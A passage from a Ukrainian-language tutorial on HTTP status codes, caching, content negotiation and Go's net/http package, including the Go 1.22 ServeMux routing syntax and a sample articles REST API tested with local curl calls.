308 Permanent Redirect (постійний редирект з гарантією збереження методу):

  • Аналогічно до 301, але метод запиту та тіло мають бути збережені.
  • Використання: постійне перенаправлення API-ендпоінтів без зміни методу (наприклад, POST завжди залишається POST).
Loading diagram...
@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

package "Постійні редиректи" #DCFCE7 {
    card "301 Moved Permanently" as C301 #FEF3C7
    note right of C301
        • Назавжди
        • Може змінити POST → GET
        • Пошукові системи оновлять індекс
    end note

    card "308 Permanent Redirect" as C308 #FEF3C7
    note right of C308
        • Назавжди
        • Метод гарантовано зберігається
        • Для RESTful API
    end note
}

package "Тимчасові редиректи" #DBEAFE {
    card "302 Found" as C302 #FEE2E2
    note right of C302
        • Тимчасово
        • Може змінити POST → GET
        • Застарілий, не рекомендується
    end note

    card "307 Temporary Redirect" as C307 #E0E7FF
    note right of C307
        • Тимчасово
        • Метод гарантовано зберігається
        • Рекомендований
    end note
}

@enduml

Приклад постійного редиректу з HTTP на HTTPS у Go:

func redirectToHTTPS(w http.ResponseWriter, r *http.Request) {
    // Формуємо нову HTTPS-адресу
    target := "https://" + r.Host + r.URL.Path
    if r.URL.RawQuery != "" {
        target += "?" + r.URL.RawQuery
    }

    // Постійний редирект (301)
    http.Redirect(w, r, target, http.StatusMovedPermanently)
}

Приклад тимчасового редиректу з збереженням методу (307):

func maintenanceRedirect(w http.ResponseWriter, r *http.Request) {
    // Тимчасове перенаправлення на сторінку обслуговування
    http.Redirect(w, r, "/maintenance", http.StatusTemporaryRedirect) // 307
}
Обережно з ланцюжками редиректів: Кожен редирект додає додатковий HTTP-запит та RTT (затримку мережі). Якщо ланцюжок містить 5 редиректів, клієнт виконає 6 HTTP-запитів, що може значно уповільнити завантаження. Більшість браузерів обмежують максимальну кількість редиректів (зазвичай 20), після чого припиняють обробку і повертають помилку. Уникайте непотрібних редиректів і завжди тестуйте повний шлях користувача.

4xx: Помилка клієнта

  • 400 Bad Request: некоректний синтаксис запиту (наприклад, невалідний JSON).
  • 401 Unauthorized: відсутня або невалідна автентифікація. Клієнт повинен надати заголовок Authorization.
  • 403 Forbidden: автентифікація пройшла успішно, але клієнт не має прав доступу до ресурсу.
  • 404 Not Found: ресурс не знайдено на сервері.
  • 405 Method Not Allowed: HTTP-метод не підтримується для цього ресурсу (наприклад, POST на ендпоінт, який приймає лише GET).
  • 409 Conflict: конфлікт стану (наприклад, спроба створити користувача з email, який вже існує).
  • 422 Unprocessable Entity: синтаксично коректний запит, але семантично невалідний (наприклад, валідація полів не пройшла).
  • 429 Too Many Requests: клієнт перевищив ліміт запитів (Rate Limiting).

5xx: Помилка сервера

  • 500 Internal Server Error: загальна помилка сервера (наприклад, необроблене виключення в коді).
  • 502 Bad Gateway: проксі-сервер отримав невалідну відповідь від вищестоящого сервера.
  • 503 Service Unavailable: сервер тимчасово недоступний (наприклад, перевантаження або технічне обслуговування).
  • 504 Gateway Timeout: проксі-сервер не отримав відповідь від вищестоящого сервера вчасно.
Правило вибору статус-коду: завжди обирайте найточніший статус-код, який відповідає ситуації. Якщо клієнт надіслав невалідний JSON, поверніть 400 Bad Request. Якщо JSON валідний, але поле email не проходить валідацію формату, поверніть 422 Unprocessable Entity. Якщо користувач намагається видалити чужий ресурс, поверніть 403 Forbidden. Точні статус-коди дозволяють клієнту (Desktop, Mobile, Web) коректно реагувати на помилки.

HTTP Caching: оптимізація швидкодії через кешування

Одна з найпотужніших можливостей HTTP — вбудована підтримка кешування (caching). Правильно налаштоване кешування може радикально зменшити навантаження на сервер, знизити витрати на трафік та прискорити завантаження сторінок для користувачів.

Як працює HTTP-кешування

Коли браузер (або проксі-сервер, CDN) отримує відповідь від сервера, він може зберегти копію ресурсу локально. При наступному запиті того самого ресурсу кеш перевіряє, чи він ще валідний. Якщо так, ресурс завантажується з локального кешу без звернення до сервера (або з мінімальним запитом для перевірки).

Loading diagram...
@startuml
skinparam style plain
skinparam backgroundColor #FFFFFF

actor "Браузер" as Client #DBEAFE
participant "Локальний кеш" as Cache #E0E7FF
participant "Вебсервер" as Server #FEF3C7

== Перший запит (кеш порожній) ==

Client -> Server : GET /logo.png
Server -> Client : HTTP/1.1 200 OK\nCache-Control: max-age=86400\nETag: "abc123"\n[image data]
Client -> Cache : Зберегти у кеш\n(валідний 24 години)

== Повторний запит (кеш валідний) ==

Client -> Cache : GET /logo.png
Cache -> Client : 200 OK (з кешу)\n[image data]
note right #DCFCE7
  Запит до сервера НЕ відправлявся!
  Швидкість завантаження мілісекунди.
end note

== Повторний запит (потрібна валідація) ==

Client -> Server : GET /logo.png\nIf-None-Match: "abc123"
Server -> Client : HTTP/1.1 304 Not Modified
note right #FEF3C7
  Тіло НЕ передається.
  Браузер використовує кешовану версію.
end note
@enduml

Заголовок Cache-Control: керування поведінкою кешу

Заголовок Cache-Control — це основний механізм керування кешуванням у HTTP/1.1. Він містить директиви, які вказують, як кеш має обробляти відповідь.

Найпоширеніші директиви:

ДирективаПризначенняПриклад
max-age=<seconds>Ресурс валідний протягом N секундCache-Control: max-age=3600 (1 година)
no-cacheКеш може зберігати, але має валідувати перед використаннямCache-Control: no-cache
no-storeЗаборона кешування (чутливі дані)Cache-Control: no-store
publicРесурс може кешуватися будь-яким кешем (CDN, проксі)Cache-Control: public, max-age=31536000
privateРесурс може кешуватися лише браузером (не CDN)Cache-Control: private
must-revalidateПісля закінчення терміну обов'язково перевірити на серверіCache-Control: max-age=3600, must-revalidate

Приклад для статичних ресурсів (зображення, CSS, JS з хешем у назві):

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Type: image/png

Директива immutable (розширення) вказує, що ресурс ніколи не зміниться, тому браузер може кешувати його назавжди без жодних перевірок.

Приклад для приватних даних користувача:

HTTP/1.1 200 OK
Cache-Control: private, no-store
Content-Type: application/json

Це гарантує, що відповідь не буде збережена ні в проксі, ні на диску браузера.

ETag та умовні запити: валідація без повторного завантаження

ETag (Entity Tag) — це унікальний ідентифікатор версії ресурсу, згенерований сервером (зазвичай хеш вмісту файлу або мітка часу останньої зміни). Клієнт зберігає ETag і при наступному запиті відправляє його через заголовок If-None-Match.

Приклад першого запиту:

GET /api/v1/user/profile HTTP/1.1

HTTP/1.1 200 OK
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Cache-Control: max-age=60
Content-Type: application/json

{"id": 42, "name": "Олена"}

Повторний запит через 2 хвилини (кеш застарів):

GET /api/v1/user/profile HTTP/1.1
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

Якщо ресурс не змінився, сервер повертає:

HTTP/1.1 304 Not Modified
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"

Немає тіла відповіді! Браузер використовує кешовану версію. Це економить трафік і прискорює завантаження.

Якщо ресурс змінився, сервер повертає новий ETag та нові дані:

HTTP/1.1 200 OK
ETag: "9d4f89a148795d9f2533a64df551425fcc55e4d42"
Content-Type: application/json

{"id": 42, "name": "Олена Петренко"}

Реалізація ETag у Go

func userProfileHandler(w http.ResponseWriter, r *http.Request) {
    // Отримуємо дані користувача
    user := getUserFromDB(42) // {"id": 42, "name": "Олена"}
    
    // Генеруємо ETag на основі хешу даних
    data, _ := json.Marshal(user)
    etag := fmt.Sprintf("\"%x\"", sha256.Sum256(data))

    // Перевіряємо, чи клієнт надіслав If-None-Match
    if r.Header.Get("If-None-Match") == etag {
        // Ресурс не змінився
        w.WriteHeader(http.StatusNotModified)
        return
    }

    // Ресурс змінився або це перший запит
    w.Header().Set("ETag", etag)
    w.Header().Set("Cache-Control", "max-age=60")
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(user)
}

Last-Modified та If-Modified-Since

Альтернативний механізм валідації — мітка часу останньої зміни.

Перший запит:

GET /document.pdf HTTP/1.1

HTTP/1.1 200 OK
Last-Modified: Mon, 27 Aug 2026 14:30:00 GMT
Cache-Control: max-age=3600

Повторний запит:

GET /document.pdf HTTP/1.1
If-Modified-Since: Mon, 27 Aug 2026 14:30:00 GMT

Якщо файл не змінювався, сервер повертає 304 Not Modified.

ETag vs Last-Modified: ETag точніший, оскільки базується на вмісті, а не на часі. Файл може бути перезаписаний тим самим вмістом (мітка часу зміниться, але ETag залишиться незмінним). Рекомендується використовувати обидва механізми одночасно для максимальної сумісності з різними клієнтами.

Content Negotiation: узгодження формату відповіді

Content Negotiation (узгодження вмісту) — це механізм HTTP, який дозволяє серверу та клієнту домовитися про найкращий формат відповіді на основі можливостей клієнта. Один і той самий ресурс може бути представлений у різних форматах: JSON, XML, HTML, CSV, Protobuf тощо.

Заголовок Accept: що клієнт може обробити

Клієнт вказує перелік типів вмісту, які він підтримує, через заголовок Accept:

GET /api/v1/users HTTP/1.1
Accept: application/json, application/xml;q=0.9, text/html;q=0.8

Розбір:

  • application/json — найвищий пріоритет (за замовчуванням q=1.0).
  • application/xml;q=0.9 — пріоритет 0.9.
  • text/html;q=0.8 — найнижчий пріоритет 0.8.

Сервер обирає найкращий формат і повертає:

HTTP/1.1 200 OK
Content-Type: application/json

[{"id": 1, "name": "Олена"}, {"id": 2, "name": "Дмитро"}]

Якщо клієнт надіслав Accept: application/xml, сервер поверне:

HTTP/1.1 200 OK
Content-Type: application/xml

<users>
  <user><id>1</id><name>Олена</name></user>
  <user><id>2</id><name>Дмитро</name></user>
</users>

Реалізація Content Negotiation у Go

func usersHandler(w http.ResponseWriter, r *http.Request) {
    users := []User{
        {ID: 1, Name: "Олена"},
        {ID: 2, Name: "Дмитро"},
    }

    // Читаємо заголовок Accept
    acceptHeader := r.Header.Get("Accept")

    switch {
    case strings.Contains(acceptHeader, "application/xml"):
        w.Header().Set("Content-Type", "application/xml")
        xml.NewEncoder(w).Encode(users)

    case strings.Contains(acceptHeader, "text/csv"):
        w.Header().Set("Content-Type", "text/csv")
        fmt.Fprintf(w, "id,name\n")
        for _, u := range users {
            fmt.Fprintf(w, "%d,%s\n", u.ID, u.Name)
        }

    default:
        // JSON за замовчуванням
        w.Header().Set("Content-Type", "application/json")
        json.NewEncoder(w).Encode(users)
    }
}

Accept-Encoding: стиснення відповіді

Заголовок Accept-Encoding вказує алгоритми стиснення, які підтримує клієнт:

GET /api/v1/data HTTP/1.1
Accept-Encoding: gzip, deflate, br

Сервер стискає відповідь і повертає:

HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/json

[binary gzip data]

У Go стиснення можна реалізувати через middleware або вбудовану бібліотеку compress/gzip:

func gzipMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if !strings.Contains(r.Header.Get("Accept-Encoding"), "gzip") {
            next.ServeHTTP(w, r)
            return
        }

        w.Header().Set("Content-Encoding", "gzip")
        gz := gzip.NewWriter(w)
        defer gz.Close()

        gzipWriter := gzipResponseWriter{Writer: gz, ResponseWriter: w}
        next.ServeHTTP(gzipWriter, r)
    })
}

type gzipResponseWriter struct {
    io.Writer
    http.ResponseWriter
}

func (w gzipResponseWriter) Write(b []byte) (int, error) {
    return w.Writer.Write(b)
}

Accept-Language: мультимовність

Заголовок Accept-Language вказує бажану мову інтерфейсу:

GET / HTTP/1.1
Accept-Language: uk-UA, en-US;q=0.9, ru;q=0.8

Сервер повертає контент українською мовою, якщо підтримує.

Автоматичне визначення мови: Більшість вебфреймворків (включно з Gin у наступних лекціях) мають вбудовану підтримку Content Negotiation. Ви можете зареєструвати різні рендери (JSON, XML, HTML, Protobuf) і фреймворк автоматично обере найкращий на основі заголовка Accept.

Стандартний пакет net/http: архітектура та інтерфейси

Тепер, коли ми розуміємо структуру протоколу HTTP, перейдемо до вивчення стандартного пакета net/http мови Go. Цей пакет є одним із найелегантніших та найпотужніших у всій екосистемі Go: він приховує всю складність парсингу HTTP-запитів, керування з'єднаннями, підтримки HTTP/1.1 та HTTP/2, при цьому надаючи надзвичайно простий інтерфейс для розробника.

Центральний інтерфейс http.Handler

Серцем архітектури net/http є інтерфейс http.Handler, який складається з єдиного методу:

type Handler interface {
    ServeHTTP(w ResponseWriter, r *Request)
}

Будь-який тип у Go, який реалізує метод ServeHTTP із такою сигнатурою, автоматично стає HTTP-обробником. Це дозволяє створювати величезну кількість композицій та патернів (middleware, роутери, групування обробників).

Параметри методу:

  • w ResponseWriter — інтерфейс для формування HTTP-відповіді. Через нього ви встановлюєте заголовки (w.Header().Set(...)), записуєте статус-код (w.WriteHeader(...)) та тіло відповіді (w.Write(...)).
  • r *Request — структура, яка містить всю інформацію про вхідний HTTP-запит: метод (r.Method), URL (r.URL), заголовки (r.Header), тіло (r.Body), контекст (r.Context()).

Найпростіший HTTP-сервер на net/http

Розглянемо мінімальний робочий приклад:

package main

import (
    "fmt"
    "net/http"
)

func main() {
    // Реєструємо обробник для кореневого шляху
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, "Вітаємо! Ви відкрили шлях: %s\n", r.URL.Path)
    })

    // Запускаємо сервер на порту 8080
    fmt.Println("🚀 Сервер запущено на http://localhost:8080")
    http.ListenAndServe(":8080", nil)
}

Цей сервер обробляє всі HTTP-запити (будь-який шлях, будь-який метод) і повертає просте текстове повідомлення. Функція http.HandleFunc — це зручний хелпер, який автоматично перетворює функцію з сигнатурою func(w ResponseWriter, r *Request) на тип http.Handler.

Як працює http.ListenAndServe

Під капотом функція http.ListenAndServe(addr, handler) виконує наступні кроки:

  1. Створює TCP-слухача за допомогою net.Listen("tcp", addr).
  2. Входить у нескінченний цикл прийняття з'єднань (listener.Accept()).
  3. Для кожного нового з'єднання запускає окрему горутину, яка:
    • Читає HTTP-запит із сокета.
    • Парсить стартовий рядок, заголовки та тіло.
    • Викликає зареєстрований обробник handler.ServeHTTP(w, r).
    • Формує HTTP-відповідь та записує її у сокет.
    • Якщо з'єднання persistent (Connection: keep-alive), чекає наступного запиту в тому самому з'єднанні.

Це означає, що Go-сервер автоматично є багатопотоковим (точніше, багатогорутинним) без жодного додаткового коду з вашого боку. Якщо до сервера одночасно підключаться 1000 клієнтів, Go-рантайм створить 1000 горутин, кожна з яких обробляє свого клієнта незалежно.

Модель «одна горутина на запит»: Архітектура net/http використовує модель, де кожен HTTP-запит обробляється в окремій горутині. Завдяки легковаговості горутин (кілька кілобайтів пам'яті на стек) та ефективному планувальнику, один Go-сервер може одночасно обслуговувати десятки тисяч запитів на звичайному апаратному забезпеченні, не вдаючись до асинхронного програмування або callback-ів, як у Node.js.

Стандартний роутер http.ServeMux

Якщо ви передаєте nil у другий аргумент http.ListenAndServe, використовується глобальний роутер http.DefaultServeMux, який ви налаштовуєте через функції http.Handle та http.HandleFunc. Але ви також можете створити власний екземпляр роутера:

package main

import (
    "encoding/json"
    "fmt"
    "net/http"
)

func main() {
    // Створюємо новий роутер
    mux := http.NewServeMux()

    // Реєструємо обробники для різних шляхів
    mux.HandleFunc("/", homeHandler)
    mux.HandleFunc("/health", healthHandler)
    mux.HandleFunc("/api/users", usersHandler)

    fmt.Println("🚀 Сервер запущено на http://localhost:8080")
    http.ListenAndServe(":8080", mux)
}

func homeHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "text/html; charset=utf-8")
    fmt.Fprintf(w, "<h1>Вітаємо на головній сторінці</h1>")
}

func healthHandler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(map[string]string{
        "status": "healthy",
        "version": "1.0.0",
    })
}

func usersHandler(w http.ResponseWriter, r *http.Request) {
    // До Go 1.22 перевірку методу доводилося здійснювати вручну в тілі обробника
    if r.Method != http.MethodGet {
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
        return
    }

    users := []map[string]any{
        {"id": 1, "name": "Олена"},
        {"id": 2, "name": "Дмитро"},
    }

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(users)
}

Еволюція маршрутизатора: революція в Go 1.22

Протягом понад десятиліття стандартний роутер http.ServeMux піддавався критиці за свою примітивність. У попередніх версіях Go він виконував лише найпростіший префіксний пошук рядків і мав три фундаментальні обмеження:

  1. Відсутність прив'язки до HTTP-методів: Шаблон маршруту (наприклад, /api/users) перехоплював абсолютно всі запити незалежно від того, чи це був GET, POST, PUT чи DELETE. Інженеру доводилося вручну перевіряти поле r.Method усередині кожного хендлера або конструювати власні громіздкі конструкції switch r.Method.
  2. Відсутність динамічних параметрів шляху (wildcards / path parameters): Роутер не мав засобів вилучення динамічних змінних із URL (наприклад, ідентифікатора у шляху /users/42). Для отримання id доводилося вручну викликати strings.TrimPrefix, розбивати рядок через strings.Split або використовувати регулярні вирази, що призводило до появи помилок та надлишкового коду.
  3. «Жадібний» кореневий маршрут: Шаблон / зіставлявся з будь-яким URL-шляхом, який не потрапив під інші правила, діючи як глобальний уловлювач за замовчуванням (catch-all). Це змушувало розробників писати додаткові перевірки if r.URL.Path != "/" для відокремлення суто головної сторінки від помилок 404 Not Found.

Через ці обмеження розробники у більшості комерційних проєктів відмовлялися від стандартного http.ServeMux на користь сторонніх рішень — маршрутизатора Chi, бібліотеки Gorilla Mux або вебфреймворку Gin.

Проте в лютому 2024 року, з виходом Go 1.22, стандартна бібліотека зазнала значного оновлення: розробники ядра Go реалізували повноцінне зіставлення методів та динамічних параметрів безпосередньо у стандартному http.ServeMux, зберігши при цьому 100% зворотну сумісність.

Новий синтаксис шаблонів у Go 1.22+

Оновлений синтаксис шаблонів дозволяє декларативно описувати HTTP-методи та вилучати параметри з URL:

Крок 1. Прив'язка до HTTP-методів (Method Routing)

Шаблон маршруту тепер може починатися з імені HTTP-методу, після якого ставиться символ пробілу: "GET /items", "POST /items", "DELETE /items/{id}".

Якщо запит надходить на шлях, для якого зареєстровано хендлери для інших методів, http.ServeMux автоматично повертає статус-код 405 Method Not Allowed разом із керуючим заголовком Allow, де перелічено всі дозволені для цього шляху методи.

Особливість методу GET: За специфікацією HTTP, запити HEAD є еквівалентними GET, але повертають лише заголовки без тіла. Відповідно, реєстрація шаблону "GET /path" автоматично обслуговує запити HEAD, якщо для даного шляху не зареєстровано окремий обробник "HEAD /path".

Крок 2. Одиночні динамічні параметри шляху (Segment Wildcards)

Синтаксис {name} зіставляється рівно з одним непорожнім сегментом URL-шляху між слешами (сегмент не може містити додаткових символів /).

Для вилучення значення параметра з контексту запиту в *http.Request додано метод r.PathValue(name):

mux.HandleFunc("GET /users/{id}", func(w http.ResponseWriter, r *http.Request) {
    id := r.PathValue("id") // повертає string, наприклад "42"
    fmt.Fprintf(w, "Користувач ID: %s", id)
})

Крок 3. Залишкові динамічні параметри (Remainder Wildcards)

Якщо ім'я параметра закінчується трьома крапками {name...}, він стає залишковим (catch-all) і зіставляється з усією рештою URL-шляху, включаючи внутрішні слеші. Це незамінно для обслуговування файлових сховищ або багаторівневих ієрархій:

mux.HandleFunc("GET /static/{filepath...}", func(w http.ResponseWriter, r *http.Request) {
    filePath := r.PathValue("filepath") // наприклад "css/theme/dark.css"
    fmt.Fprintf(w, "Шлях до файлу: %s", filePath)
})

Крок 4. Точний збіг кореня та кінцевих слешів (Exact Match /{$})

Спеціальний суфікс /{$} позначає суворий точний збіг шляху, що завершується слешем. Шаблон "GET /{$}" зіставляється виключно з коренем вебсайту / і більше не перехоплює довільні шляхи на кшталт /about чи /api/v1:

mux.HandleFunc("GET /{$}", homeHandler) // спрацює лише для запиту "/"

Правила специфічності та вирішення колізій

У реальних застосунках маршрути можуть частково перетинатися. Наприклад, ви можете зареєструвати маршрут для профілю поточного користувача /users/me та загальний маршрут для користувача за ідентифікатором /users/{id}.

Стандартний http.ServeMux у Go 1.22+ використовує детерміноване правило найвищої специфічності (most specific pattern wins):

  1. Літеральні сегменти перемагають вайлдкарди: Шаблон /users/me є більш специфічним, ніж /users/{id}. Якщо клієнт запитує /users/me, буде викликано саме обробник для me, а не параметризований обробник.
  2. Одиночні вайлдкарди перемагають залишкові: Шаблон /files/{name} є більш специфічним, ніж /files/{path...}.
  3. Явні методи перемагають безметодні шаблони: Шаблон "GET /items" має вищий пріоритет над шаблоном "/items" для GET-запитів.
  4. Виявлення неоднозначних колізій на старті: Якщо два маршрути перетинаються і жоден із них не є суворо більш специфічним (наприклад, /users/{id}/profile та /{entity}/me/profile), Go викидає паніку (panic) під час виклику mux.Handle чи mux.HandleFunc ще на етапі запуску програми. Це унеможливлює недетерміновані помилки маршрутизації в продакшені.

Порівняння: підхід до Go 1.22 проти сучасного синтаксису

Погляньте, наскільки лаконічнішим та безпечнішим став код стандартного роутера:

mux := http.NewServeMux()

// Один маршрут перехоплював усі методи та супутні шляхи
mux.HandleFunc("/api/users/", func(w http.ResponseWriter, r *http.Request) {
    // 1. Ручна перевірка методу
    switch r.Method {
    case http.MethodGet:
        // 2. Ручний парсинг ідентифікатора з URL
        idStr := strings.TrimPrefix(r.URL.Path, "/api/users/")
        if idStr == "" {
            http.Error(w, "ID обов'язковий", http.StatusBadRequest)
            return
        }
        id, err := strconv.Atoi(idStr)
        if err != nil {
            http.Error(w, "Некоректний ID", http.StatusBadRequest)
            return
        }
        getUser(w, r, id)

    case http.MethodDelete:
        idStr := strings.TrimPrefix(r.URL.Path, "/api/users/")
        deleteUser(w, r, idStr)

    default:
        // 3. Ручне формування статусу 405
        w.Header().Set("Allow", "GET, DELETE")
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
    }
})

Повний приклад: REST API статей на стандартному http.ServeMux

Розглянемо повний навчальний приклад побудови CRUD REST API для статей за допомогою нових можливостей Go 1.22+:

package main

import (
    "encoding/json"
    "fmt"
    "log"
    "net/http"
    "strconv"
    "sync"
)

// Article представляє доменну сутність статті
type Article struct {
    ID    int    `json:"id"`
    Title string `json:"title"`
}

// MemoryStore реалізує потокобезпечне сховище статей у пам'яті
type MemoryStore struct {
    sync.RWMutex
    items  map[int]Article
    nextID int
}

func newMemoryStore() *MemoryStore {
    store := &MemoryStore{
        items:  make(map[int]Article),
        nextID: 3,
    }
    store.items[1] = Article{ID: 1, Title: "Протокол HTTP та архітектура клієнт-сервер"}
    store.items[2] = Article{ID: 2, Title: "Параметри шляху в оновленому Go ServeMux"}
    return store
}

func main() {
    store := newMemoryStore()
    mux := http.NewServeMux()

    // 1. Точний збіг для кореневого маршруту (Exact Match)
    mux.HandleFunc("GET /{$}", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "text/plain; charset=utf-8")
        fmt.Fprintln(w, "Головна сторінка API статей на Go 1.22+")
    })

    // 2. Отримання списку статей (GET)
    mux.HandleFunc("GET /api/v1/articles", func(w http.ResponseWriter, r *http.Request) {
        store.RLock()
        defer store.RUnlock()

        list := make([]Article, 0, len(store.items))
        for _, item := range store.items {
            list = append(list, item)
        }

        w.Header().Set("Content-Type", "application/json")
        json.NewEncoder(w).Encode(list)
    })

    // 3. Створення нової статті (POST)
    mux.HandleFunc("POST /api/v1/articles", func(w http.ResponseWriter, r *http.Request) {
        var payload struct {
            Title string `json:"title"`
        }

        if err := json.NewDecoder(r.Body).Decode(&payload); err != nil || payload.Title == "" {
            http.Error(w, `{"error": "поле title обов'язкове"}`, http.StatusBadRequest)
            return
        }

        store.Lock()
        newArticle := Article{ID: store.nextID, Title: payload.Title}
        store.items[store.nextID] = newArticle
        store.nextID++
        store.Unlock()

        w.Header().Set("Content-Type", "application/json")
        w.WriteHeader(http.StatusCreated)
        json.NewEncoder(w).Encode(newArticle)
    })

    // 4. Отримання конкретної статті за динамічним параметром {id}
    mux.HandleFunc("GET /api/v1/articles/{id}", func(w http.ResponseWriter, r *http.Request) {
        // Отримання параметра шляху
        idParam := r.PathValue("id")
        id, err := strconv.Atoi(idParam)
        if err != nil || id <= 0 {
            http.Error(w, `{"error": "ідентифікатор має бути додатним цілим числом"}`, http.StatusBadRequest)
            return
        }

        store.RLock()
        article, found := store.items[id]
        store.RUnlock()

        if !found {
            http.Error(w, `{"error": "статтю з таким ідентифікатором не знайдено"}`, http.StatusNotFound)
            return
        }

        w.Header().Set("Content-Type", "application/json")
        json.NewEncoder(w).Encode(article)
    })

    // 5. Видалення статті (DELETE)
    mux.HandleFunc("DELETE /api/v1/articles/{id}", func(w http.ResponseWriter, r *http.Request) {
        idParam := r.PathValue("id")
        id, err := strconv.Atoi(idParam)
        if err != nil || id <= 0 {
            http.Error(w, `{"error": "некоректний ідентифікатор статті"}`, http.StatusBadRequest)
            return
        }

        store.Lock()
        _, exists := store.items[id]
        if exists {
            delete(store.items, id)
        }
        store.Unlock()

        if !exists {
            http.Error(w, `{"error": "статтю не знайдено"}`, http.StatusNotFound)
            return
        }

        // 204 No Content сигналізує про успішне видалення без тіла відповіді
        w.WriteHeader(http.StatusNoContent)
    })

    // 6. Залишковий вайлдкард для роздачі або логування файлів
    mux.HandleFunc("GET /docs/{filepath...}", func(w http.ResponseWriter, r *http.Request) {
        docPath := r.PathValue("filepath")
        w.Header().Set("Content-Type", "text/plain; charset=utf-8")
        fmt.Fprintf(w, "Запит документації за відносним шляхом: %s\n", docPath)
    })

    log.Println("🚀 REST API сервер запущено на http://localhost:8080")
    if err := http.ListenAndServe(":8080", mux); err != nil {
        log.Fatalf("Критична помилка сервера: %v", err)
    }
}

Перевірка роботи та діагностика викликів через cURL

Протестуємо поведінку сервера, параметризацію та реакцію на непідтримувані HTTP-методи за допомогою терміналу:

cURL взаємодія з Go 1.22+ ServeMux
$ curl -i http://localhost:8080/api/v1/articles/1
HTTP/1.1 200 OK
Content-Type: application/json
Date: Fri, 02 Oct 2026 10:40:00 GMT
Content-Length: 72
{"id":1,"title":"Протокол HTTP та архітектура клієнт-сервер"}
$ curl -i -X PATCH http://localhost:8080/api/v1/articles/1
HTTP/1.1 405 Method Not Allowed
Allow: DELETE, GET
Content-Type: text/plain; charset=utf-8
Content-Length: 19
Method Not Allowed
$ curl -s http://localhost:8080/docs/guides/http/caching.pdf
Запит документації за відносним шляхом: guides/http/caching.pdf

Зверніть особливу увагу на другий запит у терміналі: ми спробували надіслати запит методом PATCH. Сервер повернув статус 405 Method Not Allowed та заголовок Allow: DELETE, GET автоматично, не виконавши жодного рядка нашого хендлера! Це демонструє суворе дотримання стандарту HTTP/1.1 з боку ядра Go без залучення стороннього коду.

Чи потрібні тепер сторонні роутери (Chi, Gorilla, Gin)? Завдяки оновленню Go 1.22 для приблизно 80% проєктів стандартного пакета net/http стає абсолютно достатньо. Це дозволяє дотримуватися філософії Zero External Dependencies (мінімізація сторонніх залежностей, швидша компіляція, менший розмір Docker-образів та відсутність вразливостей ланцюга поставок).Проте сторонні маршрутизатори, зокрема Chi, все ще широко використовуються у масштабних enterprise-системах з таких причин:
  • Вкладені конвеєри мідлварів: Chi дозволяє призначати локальні мідлвари на окремі суб-роутери через конструкцію r.Route("/admin", func(r chi.Router) { r.Use(AuthMiddleware); ... }). У стандартному http.ServeMux такого вбудованого механізму групування мідлварів немає.
  • Вбудована типізація та RegExp: Можливість задавати обмеження на рівні рядка шаблону на кшталт /users/{id:[0-9]+}.
  • Екосистема плагінів: Автоматична генерація специфікацій OpenAPI/Swagger із дерева зареєстрованих маршрутів.

Глибокий розбір net/http: всі рухомі частинки

Тепер розглянемо детально всі ключові типи, інтерфейси та функції пакета net/http у стилі технічної документації.

Структура http.Request: повна анатомія запиту

Структура *http.Request містить всю інформацію про вхідний HTTP-запит. Розглянемо кожне поле детально.

type Request struct {
    // HTTP-метод (GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS)
    Method string

    // URL запиту (розібраний URI)
    URL *url.URL

    // Версія протоколу: "HTTP/1.1", "HTTP/2.0"
    Proto      string // "HTTP/1.1"
    ProtoMajor int    // 1
    ProtoMinor int    // 1

    // Заголовки запиту
    Header Header

    // Тіло запиту (потік, який потрібно закрити)
    Body io.ReadCloser

    // Розмір тіла запиту (-1 якщо невідомо)
    ContentLength int64

    // Список Transfer-Encoding (наприклад, ["chunked"])
    TransferEncoding []string

    // Закривати з'єднання після відповіді
    Close bool

    // Хост із заголовка Host або URL
    Host string

    // Розібрані дані форми (після виклику ParseForm)
    Form url.Values

    // Розібрані дані multipart форми (після ParseMultipartForm)
    PostForm url.Values
    MultipartForm *multipart.Form

    // Інформація про TLS з'єднання (nil для HTTP)
    TLS *tls.ConnectionState

    // Адреса віддаленого клієнта "192.168.1.100:54321"
    RemoteAddr string

    // Шлях до локального файлу (при ServeFile)
    RequestURI string

    // Контекст запиту (для таймаутів та скасування)
    ctx context.Context
}

Поле URL *url.URL: структура URI

type URL struct {
    Scheme   string    // "http", "https"
    Opaque   string    // закодована непрозора частина
    User     *Userinfo // username:password (рідко використовується)
    Host     string    // "example.com:8080"
    Path     string    // "/api/v1/users"
    RawPath  string    // закодована версія Path
    RawQuery string    // "page=2&limit=20"
    Fragment string    // частина після # (не передається серверу)
}

Приклад роботи з URL:

func analyzeURL(w http.ResponseWriter, r *http.Request) {
    u := r.URL

    fmt.Fprintf(w, "Шлях: %s\n", u.Path)              // /api/v1/users
    fmt.Fprintf(w, "Raw Query: %s\n", u.RawQuery)     // page=2&limit=20
    
    // Розібрані query-параметри
    query := u.Query()
    page := query.Get("page")      // "2"
    limit := query.Get("limit")    // "20"
    
    // Перевірка наявності параметра
    if _, exists := query["filter"]; exists {
        fmt.Fprintf(w, "Параметр filter присутній\n")
    }

    // Отримання всіх значень параметра (якщо їх кілька)
    // ?tag=go&tag=http&tag=tutorial
    tags := query["tag"] // []string{"go", "http", "tutorial"}
}

Поле Header http.Header: карта заголовків

http.Header — це карта map[string][]string, де ключ — ім'я заголовка (канонізоване до Title-Case), значення — масив рядків (оскільки один заголовок може мати кілька значень).

type Header map[string][]string

Методи інтерфейсу Header:

// Отримання першого значення заголовка (найчастіше використовується)
func (h Header) Get(key string) string

